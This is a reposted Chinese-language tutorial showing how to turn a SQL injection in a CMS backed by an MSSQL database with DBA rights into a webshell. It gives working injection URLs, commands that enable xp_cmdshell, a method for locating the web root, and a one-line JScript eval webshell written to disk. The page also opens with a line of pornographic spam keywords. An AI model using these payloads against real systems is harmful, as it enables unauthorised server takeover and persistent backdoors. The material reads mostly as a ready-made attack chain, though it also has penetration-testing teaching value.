小男孩‘自慰网亚洲一区二区,亚洲一级在线播放毛片,亚洲中文字幕av每天更新,黄aⅴ永久免费无码,91成人午夜在线精品,色网站免费在线观看,亚洲欧洲wwwww在线观看

分享

MSSQL DBA權(quán)限獲取WEBSHELL的過程

 曾淼Mark 2018-09-19

From:http:///2017/05/16/MSSQL-DBA-Permission-GET-WEBSHELL/

前言

本文主要通過一個案例來演示一下當(dāng)MSSQL是DBA權(quán)限,且不知道路徑的時候如何去獲取WEBSHELL。當(dāng)然這種方式對站庫分離的無效。
我測試的環(huán)境是在Win7 64位下,數(shù)據(jù)庫是SQLServer 2000,IIS版本是7.5,程序是采用風(fēng)訊的CMS。后臺登錄后有多處注入,因為這里是演示用注入獲取WEBSHELL,因此就不考慮后臺上傳的情況了,只是用注入來實(shí)現(xiàn)。

過程

首先找到一個如下的注入點(diǎn):

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1' and 1=user;--

通過SQLMAP可以查看到是DBA權(quán)限

創(chuàng)建臨時表

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';CREATE TABLE tt_tmp (tmp1 varchar(8000));--

在WINDOWS下查找文件用如下命令:

for /r 目錄名:\ %i in (匹配模式) do @echo %i

例如在C盤下搜索NewsList.aspx,可以使用for /r c:\ %i in (Newslist*.aspx) do @echo %i或者for /r c:\ %i in (Newslist.aspx*) do @echo %i

使用for /r c:\ %i in (Newslist*.aspx) do @echo %i的搜索結(jié)果

一定要在匹配模式里面加上一個*號,不然搜索出來的是全部的目錄,后面拼接了你搜索的內(nèi)容。
使用for /r c:\ %i in (Newslist.aspx) do @echo %i的搜索結(jié)果

用xp_cmdshell執(zhí)行查找文件的命令,并將搜索的結(jié)果插入到臨時表中

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';insert into tt_tmp(tmp1) exec master..xp_cmdshell 'for /r c:\ %i in (Newslist*.aspx) do @echo %i ';--

如果無法執(zhí)行xp_cmdshell,并提示如下錯誤SQL Server阻止了對組件‘xp_cmdshell’的過程‘sys.xp_cmdshell’的訪問。因為此組件已作為此服務(wù)囂安全配置的一部分而被關(guān)閉。系統(tǒng)管理員可以通過使用sp_configure啟用‘xp_cmdshell’。

可以使用如下命令來啟用xp_cmdshell

;EXEC sp_configure 'show advanced options',1;//允許修改高級參數(shù)

RECONFIGURE;

EXEC sp_configure 'xp_cmdshell',1;  //打開xp_cmdshell擴(kuò)展

RECONFIGURE;--

然后再次執(zhí)行搜索命令。

在執(zhí)行上述搜索和插入過程后,可以使用' and (select(*) from tt_tmp)>1頁面返回是否正常來判斷是否有搜索結(jié)果。當(dāng)沒有找到的話,select(*) from tt_tmp的結(jié)果為1,否則大于1。如果沒有的話,就換目錄,可以試試其他盤符,如';insert into tt_tmp(tmp1) exec master..xp_cmdshell 'for /r d:\ %i in (Newslist*.aspx) do @echo %i ';--。也可以使用sqlmap來查看條數(shù)。

可以用報錯將表內(nèi)容給顯示出來

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=2' and 1=(select top 1 tmp1 from tt_tmp)and 'a'='a

繼續(xù)爆

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=2' and 1=(select top 1 tmp1 from tt_tmp where tmp1 not in ('c:\inetpub\wwwroot\manage\news\NewsList.aspx '))and 'a'='a

也可以用sqlmap直接將表中數(shù)據(jù)讀取出來

然后根據(jù)導(dǎo)出結(jié)果的路徑來判斷是否可能為WEB目錄。然后寫入一個測試文件,看是否可以訪問來進(jìn)一步證實(shí)結(jié)果。

這里在根目錄寫了一個txt文件,寫別的目錄怕因為沒有權(quán)限而無法訪問。

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';exec master..xp_cmdshell 'echo test >c:\\WWW\\2333.txt';--

然后訪問http://192.168.232.138:81/2333.txt

成功訪問,然后就是寫一句話

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';exec master..xp_cmdshell 'echo ^<%@ Page Language='Jscript'%^>^<%eval(Request.Item['pass'],'unsafe');%^> > c:\\WWW\\233.aspx' ;--

成功寫入。然后就是進(jìn)一步的操作了,這里就不概述了。

DOS命令將文件寫入文本中時,遇到<>應(yīng)在前面加上^。

總結(jié)

這里一共有三個小的知識點(diǎn):
1.sa用戶如何開啟xp_cmdshell

EXEC sp_configure 'show advanced options',1;//允許修改高級參數(shù)

RECONFIGURE;

EXEC sp_configure 'xp_cmdshell',1;  //打開xp_cmdshell擴(kuò)展

RECONFIGURE;

2.Windows下利用dos如何搜索文件

for /r c:\ %i in (Newslist*.aspx) do @echo %i

for /r c:\ %i in (Newslist.aspx*) do @echo %i

3.dos命令下寫文件遇到<>如何處理

echo ^<^> > 123.txt


    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點(diǎn)擊一鍵舉報。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多